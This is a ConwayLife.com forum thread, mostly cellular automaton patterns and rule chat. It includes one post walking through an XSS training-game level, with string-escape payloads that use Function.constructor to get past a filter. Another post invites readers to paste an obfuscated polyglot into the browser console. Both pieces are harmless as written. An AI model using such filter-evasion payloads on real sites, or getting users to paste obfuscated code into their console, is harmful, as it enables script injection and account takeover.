ConwayLife.com

Posted: **March 10th, 2020, 6:20 am**

The rule B2n3-n4k6ak7c/S1c2-i3-kn4y6e8 strictly prohibits the existence of diagonal spaceships.

x = 20, y = 20, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
6b2o5b2ob2obo$2b3o2b2ob3o2b2obo$bobo4bob9o$2o2bobo2b2o3bob4o$ob7obo6bo
bo$o2b2obo2b3o3bo2b2o$2b3obo2b2ob2o3b3o$ob3o2b2ob3o3bo2bo$3o2bobo2b2ob
4o$4o2bo2b2ob3o4bo$4bob2o2b5ob3o$4bo2b2ob2ob2o3bo$b3o3b2obobobob3o$3b
4ob2o2bo2b3obo$bob2o2bobobob2o2b3o$2b3ob3o2b5o2bo$bo4bo5bobob2obo$2b4o
2b2obob2o3b2o$3bo2b2o4bob4o$bo2b2o2b4o2b2o2bo!

Posted: **March 10th, 2020, 10:56 am**

JP21 wrote: March 10th, 2020, 6:20 am The rule B2n3-n4k6ak7c/S1c2-i3-kn4y6e8 strictly prohibits the existence of diagonal spaceships.

Code: Select all

x = 20, y = 20, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
6b2o5b2ob2obo$2b3o2b2ob3o2b2obo$bobo4bob9o$2o2bobo2b2o3bob4o$ob7obo6bo
bo$o2b2obo2b3o3bo2b2o$2b3obo2b2ob2o3b3o$ob3o2b2ob3o3bo2bo$3o2bobo2b2ob
4o$4o2bo2b2ob3o4bo$4bob2o2b5ob3o$4bo2b2ob2ob2o3bo$b3o3b2obobobob3o$3b
4ob2o2bo2b3obo$bob2o2bobobob2o2b3o$2b3ob3o2b5o2bo$bo4bo5bobob2obo$2b4o
2b2obob2o3b2o$3bo2b2o4bob4o$bo2b2o2b4o2b2o2bo!

Proof, please

Posted: **March 11th, 2020, 4:46 am**

JP21 wrote: March 10th, 2020, 6:20 am The rule B2n3-n4k6ak7c/S1c2-i3-kn4y6e8 strictly prohibits the existence of diagonal spaceships.

Code: Select all

x = 20, y = 20, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
6b2o5b2ob2obo$2b3o2b2ob3o2b2obo$bobo4bob9o$2o2bobo2b2o3bob4o$ob7obo6bo
bo$o2b2obo2b3o3bo2b2o$2b3obo2b2ob2o3b3o$ob3o2b2ob3o3bo2bo$3o2bobo2b2ob
4o$4o2bo2b2ob3o4bo$4bob2o2b5ob3o$4bo2b2ob2ob2o3bo$b3o3b2obobobob3o$3b
4ob2o2bo2b3obo$bob2o2bobobob2o2b3o$2b3ob3o2b5o2bo$bo4bo5bobob2obo$2b4o
2b2obob2o3b2o$3bo2b2o4bob4o$bo2b2o2b4o2b2o2bo!

No common small diagonal spaceship does not mean no diagonal spaceship.

There's hope. Look at the following pattern:

Code: Select all

x = 6, y = 10, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
bo$2o3bo$ob3o$3bobo$bobobo$2bo2bo$3bo$3b2o$5bo$4bo!
#C [[ STOP 4 ]]

Its front end actually moves one cell diagonally to the upper-left. I'm running a c/4d search.

EDIT: Look, here is what my search have found. Is this "no diagonal spaceship"?

Code: Select all

x = 8, y = 8, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
2bo3bo$b5obo$bob2o2$bo$o2bo2$b2o!

Nice rule by the way, probably better than half of the rules I have found. Needs investigating. Will investigate!

A summary of the rule:

It has one c/3 pi ship and two 2c/9 ships:

Code: Select all

x = 4, y = 20, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
2bo$bo$o$bo5$3o$o$3o5$3o$2bo$o2bo$2bo$3o!

EDIT: As usual, 2Pi collisions:

Code: Select all

x = 54, y = 87, rule = B2n3-n4k6ak7c/S1c2-i3-kn4y6e8
3o8b3o5b3o9b3o4b3o10b3o$2bo8bo9bo9bo8bo10bo$3o8b3o5b3o9b3o4b3o10b3o8$
3o16b3o16b3o$2bo8b3o7bo9b3o6bo10b3o$3o8bo7b3o9bo6b3o10bo$11b3o17b3o17b
3o7$3o16b3o16b3o$2bo18bo18bo$3o8b3o5b3o9b3o4b3o10b3o$11bo19bo19bo$11b
3o17b3o17b3o6$19b3o16b3o$21bo18bo$19b3o16b3o$31b3o17b3o$31bo19bo$31b3o
17b3o$3o$2bo$3o$11b3o$11bo7b3o16b3o$11b3o7bo18bo$19b3o16b3o2$31b3o17b
3o$31bo19bo$31b3o17b3o5$19b3o16b3o$21bo18bo$19b3o16b3o2$3o$2bo28b3o17b
3o$3o28bo19bo$31b3o17b3o$11b3o$11bo$11b3o2$19b3o$21bo$19b3o$3o$2bo$3o$
31b3o$31bo$11b3o17b3o$11bo$11b3o5$3o$2bo$3o4$11b3o$11bo$11b3o!

Posted: **March 11th, 2020, 5:14 am**

Look at me! I make rules in golly and go on the forums! I wanna be Famous!

- Do you know who am I referring to?

Posted: **March 11th, 2020, 6:54 am**

Hunting wrote: March 11th, 2020, 5:14 am Look at me! I make rules in golly and go on the forums! I wanna be Famous!

- Do you know who am I referring to?

No but I remember that quote

Posted: **March 11th, 2020, 7:26 am**

Moosey wrote: March 11th, 2020, 6:54 am
Hunting wrote: March 11th, 2020, 5:14 am Look at me! I make rules in golly and go on the forums! I wanna be Famous!

- Do you know who am I referring to?
No but I remember that quote

Answer: Googolplex's old account signature

Posted: **March 11th, 2020, 10:04 pm**

I wanna talk about this xss game. In particular, level 8 and how I solved it.

So I looked in the HTML and looked for "your_payload" somewhere and found it.

Code: Select all

<script>
b = 1
if ( b == 2 ){ a = "your_payload" };

</script>

First I tried a ", and it worked.

Code: Select all

<script>
b = 1
if ( b == 2 ){ a = """ };

</script>

So I went on ahead, ea-

Code: Select all

<script>
b = 1
if ( b == 2 ){ a = ""};
Alert(document.domain)//" };

</script>

oh

So I tried an eval, and it didn't work either.

Code: Select all

<script>
b = 1
if ( b == 2 ){ a = ""};
Eval("a"+"lert(document.domain)")//" };

</script>

But I had one more trick, which I had learned from JSFuck.
Say hello to the function constructor.

Code: Select all

<script>
b = 1
if ( b == 2 ){ a = ""};
Function.constructor("a"+"lert(document.domain)")()//" };

</script>

Nothing wrong with the code, the Function is supposed to be capitalized.

Here's a link to see it in action.

Posted: **March 11th, 2020, 11:48 pm**

I decided to see what characters you could put at the end of html tags to have it still valid, and I found that ↵ works.
No, seriously, put <p↵↵↵↵↵↵↵↵↵↵>Test</p↵↵↵↵↵↵↵↵↵↵> in some html file and it still works!

Posted: **March 13th, 2020, 10:24 am**

I just defined a hierarchy of blancmange functions
https://www.desmos.com/calculator/ogecaggf7m

So
The definition is
s_1(x,y) = |(x*2^y)-round(x*2^y)|
s_n(x,y) = s_1(f_(a-1)(x,y),0)
f_a(x,y) = sum from y to inf of s_a(x,n)/2^n

The graph there, btw, is f_2(x,1) or something like that

Posted: **March 13th, 2020, 10:49 am**

Fun fact:
For the triangle wave function f(x) =|x-round(x)|, f''(x)f(x)+f'(x)^2 = 1 where it is differentiable
Proofs:
1) This is because f'(x) = sign(x-round(x)) (can be shown)
Therefore f''(x) = 0
therefore f''(x)f(x)+f'(x)^2 = 0+f'(x)^2
since sign(anything)^2 = 1, 0+f'(x)^2 = 1.

2) f''(x)f(x)+f'(x)^2 = d/dx(f'(x)f(x)) which has slope 1 everywhere it is differentiable. Therefore it is 1

Posted: **March 13th, 2020, 6:22 pm**

Looking at some of other people's rules (with a lots of characters) makes my eyes bleed so much (not literally) that I need to stick with my own rules. There are few rules that I don't get my eyes bleeding. The ones that are unique or more official (which exists).

Posted: **March 14th, 2020, 11:13 am**

JP21 wrote: March 13th, 2020, 6:22 pm Looking at some of other people's rules (with a lots of characters) makes my eyes bleed so much (not literally) that I need to stick with my own rules. There are few rules that I don't get my eyes bleeding. The ones that are unique or more official (which exists).

No need to pay attention to the non-totalistic rulestrings... just enjoy the view

.
Dunno what you mean by more official rules.
Also if youre afraid of long rulestrings then you're gonna miss out on a lot of cool rules.

Also new pfp

Posted: **March 14th, 2020, 11:24 am**

Saka wrote: March 14th, 2020, 11:13 am
JP21 wrote: March 13th, 2020, 6:22 pm Looking at some of other people's rules (with a lots of characters) makes my eyes bleed so much (not literally) that I need to stick with my own rules. There are few rules that I don't get my eyes bleeding. The ones that are unique or more official (which exists).
No need to pay attention to the non-totalistic rulestrings... just enjoy the view .
Dunno what you mean by more official rules.
Also if youre afraid of long rulestrings then you're gonna miss out on a lot of cool rules.

Also new pfp

Woah! Saka is back! I never even met you yet.
Also, official rules are: life, tlifr, d&n and basically the ones you see on wiki.
Edit:

JP21 wrote: February 18th, 2020, 7:24 pm Here is my

New to-do list:
Bring back Saka

Posted: **March 14th, 2020, 11:29 am**

Saka wrote: March 14th, 2020, 11:13 am
JP21 wrote: March 13th, 2020, 6:22 pm Looking at some of other people's rules (with a lots of characters) makes my eyes bleed so much (not literally) that I need to stick with my own rules. There are few rules that I don't get my eyes bleeding. The ones that are unique or more official (which exists).
No need to pay attention to the non-totalistic rulestrings... just enjoy the view .
Dunno what you mean by more official rules.
Also if youre afraid of long rulestrings then you're gonna miss out on a lot of cool rules.

Also new pfp

Well you actually NEED to pay attention to the INT rulestring if you are a rulegolfer.

JP21 wrote: March 14th, 2020, 11:24 am
Saka wrote: March 14th, 2020, 11:13 am
JP21 wrote: March 13th, 2020, 6:22 pm Looking at some of other people's rules (with a lots of characters) makes my eyes bleed so much (not literally) that I need to stick with my own rules. There are few rules that I don't get my eyes bleeding. The ones that are unique or more official (which exists).
No need to pay attention to the non-totalistic rulestrings... just enjoy the view .
Dunno what you mean by more official rules.
Also if youre afraid of long rulestrings then you're gonna miss out on a lot of cool rules.

Also new pfp
Woah! Saka is back! I never even met you yet.
Also, official rules are: life, tlifr, d&n and basically the ones you see on wiki.
Edit:
JP21 wrote: February 18th, 2020, 7:24 pm Here is my

New to-do list:
Bring back Saka

IMO all rules that have a LW aliase or Catagolue aliase is official.

Posted: **March 14th, 2020, 11:34 am**

Don't be so serious, HUNTING.

Hunting wrote: February 19th, 2020, 2:20 am
Bring back Saka
Saka is gone? I'm not aware of that.

Posted: **March 14th, 2020, 11:42 am**

JP21 wrote: March 14th, 2020, 11:34 am Don't be so serious, HUNTING.
Hunting wrote: February 19th, 2020, 2:20 am
Bring back Saka
Saka is gone? I'm not aware of that.

My name is Twilight Sparkle!

Posted: **March 14th, 2020, 11:53 am**

Behold, the creator of this thread!!!
Too late to say that.

It's sooooo sad that I didn't save his older profile.

Posted: **March 14th, 2020, 1:00 pm**

JP21 wrote: March 14th, 2020, 11:53 am Behold, the creator of this thread!!!
Too late to say that.

It's sooooo sad that I didn't save his older profile.

Well you can ask himself. Anyways it's just a ordinary LTL Bug.

Posted: **March 14th, 2020, 5:28 pm**

Moosey wrote: March 6th, 2020, 5:28 pm
Hunting wrote: March 6th, 2020, 3:41 pm
gameoflifemaniac wrote: March 6th, 2020, 3:39 pm Coronavirus is in Poland I'm really worried
Well, you can't be more worried than me. I didn't go anywhere for at least several weeks. And me and my family are running out of food now.
Of all the people
Only Chinese people like you really have an excuse to panic

Moosey, I just didn't know how can this end with our country.

I really feel sorry for you, Hunting.

Also, I have some leaks about how April will suck.

Posted: **March 14th, 2020, 10:05 pm**

Leaking some answers for a HSK, choose yours.
/ We are nearly done.
我们快完了。
\ We are nearly doomed.

/ We are much better.
我们好多了。
\ We have too many.

Posted: **March 15th, 2020, 2:16 am**

Press F12 and paste

Code: Select all

1//1;getattr(getattr(__import__([].__class__.__name__[2]+chr(int("1"*2)**2)+[].__class__.__name__[2]),'stdout'),().__class__.__eq__.__class__.__name__[:2]+().__iter__().__class__.__name__[6:9])(chr(int(9*11)));'''\
var _0x4447=['alert(\x27Run\x20it\x20in\x20Python.\x27)','constructor','fill'];(function(_0x2850c2,_0x444729){var _0x878233=function(_0xd65bb6){while(--_0xd65bb6){_0x2850c2['push'](_0x2850c2['shift']());}};_0x878233(++_0x444729);}(_0x4447,0x10d));var _0x8782=function(_0x2850c2,_0x444729){_0x2850c2=_0x2850c2-0x0;var _0x878233=_0x4447[_0x2850c2];return _0x878233;};[][_0x8782('0x0')][_0x8782('0x2')](_0x8782('0x1'))();/*
*1;printf("\x59""o\165 \x6C""o\163t\x20""t\150e\x20""g\141m\x65"".");/**/
//'''

Posted: **March 15th, 2020, 6:43 am**

PkmnQ wrote: March 15th, 2020, 2:16 am Press F12 and paste

Code: Select all

1//1;getattr(getattr(__import__([].__class__.__name__[2]+chr(int("1"*2)**2)+[].__class__.__name__[2]),'stdout'),().__class__.__eq__.__class__.__name__[:2]+().__iter__().__class__.__name__[6:9])(chr(int(9*11)));'''\
var _0x4447=['alert(\x27Run\x20it\x20in\x20Python.\x27)','constructor','fill'];(function(_0x2850c2,_0x444729){var _0x878233=function(_0xd65bb6){while(--_0xd65bb6){_0x2850c2['push'](_0x2850c2['shift']());}};_0x878233(++_0x444729);}(_0x4447,0x10d));var _0x8782=function(_0x2850c2,_0x444729){_0x2850c2=_0x2850c2-0x0;var _0x878233=_0x4447[_0x2850c2];return _0x878233;};[][_0x8782('0x0')][_0x8782('0x2')](_0x8782('0x1'))();/*
*1;printf("\x59""o\165 \x6C""o\163t\x20""t\150e\x20""g\141m\x65"".");/**/
//'''

Are you from Code Golf Stack Exchange? Nice polyglot thing.

Posted: **March 15th, 2020, 9:51 am**

Welcome back saka!

Posted: **March 15th, 2020, 5:34 pm**

gameoflifemaniac wrote: March 14th, 2020, 5:28 pm
Moosey wrote: March 6th, 2020, 5:28 pm
Hunting wrote: March 6th, 2020, 3:41 pm

Well, you can't be more worried than me. I didn't go anywhere for at least several weeks. And me and my family are running out of food now.
Of all the people
Only Chinese people like you really have an excuse to panic
Moosey, I just didn't know how can this end with our country.

I am on mandatory WFH in Santa Clara county California. My kids' schools are closed for at least 4 weeks and I'm on voluntarily semi-quarantine (not going out of my way to move in crowds and spread the virus around but I can shop if I have to). Based on what's happening in Italy, I see no evidence to suggest that the US will be any better off. We need to stop the spread right now, and I suspect the virus is much more widespread than most people think.

Posted: **March 16th, 2020, 12:10 am**

Leapized Day&Night
p26:

Code: Select all

x = 11, y = 9, rule = B2n3678/S3-q4678
4bo$bobobo$ob6obo$9o$b9o$b9o$11o$ob7obo$bo2bo2bobo!

EDIT: It has nothing like LeapLife except its stableness
p36:

Code: Select all

x = 5, y = 5, rule = B2n3678/S3-q4678
o$b2o$bob2o$2b3o$2b2o!

p32:

Code: Select all

x = 4, y = 4, rule = B2n3678/S3-q4678
2o$3o$b3o$2b2o!

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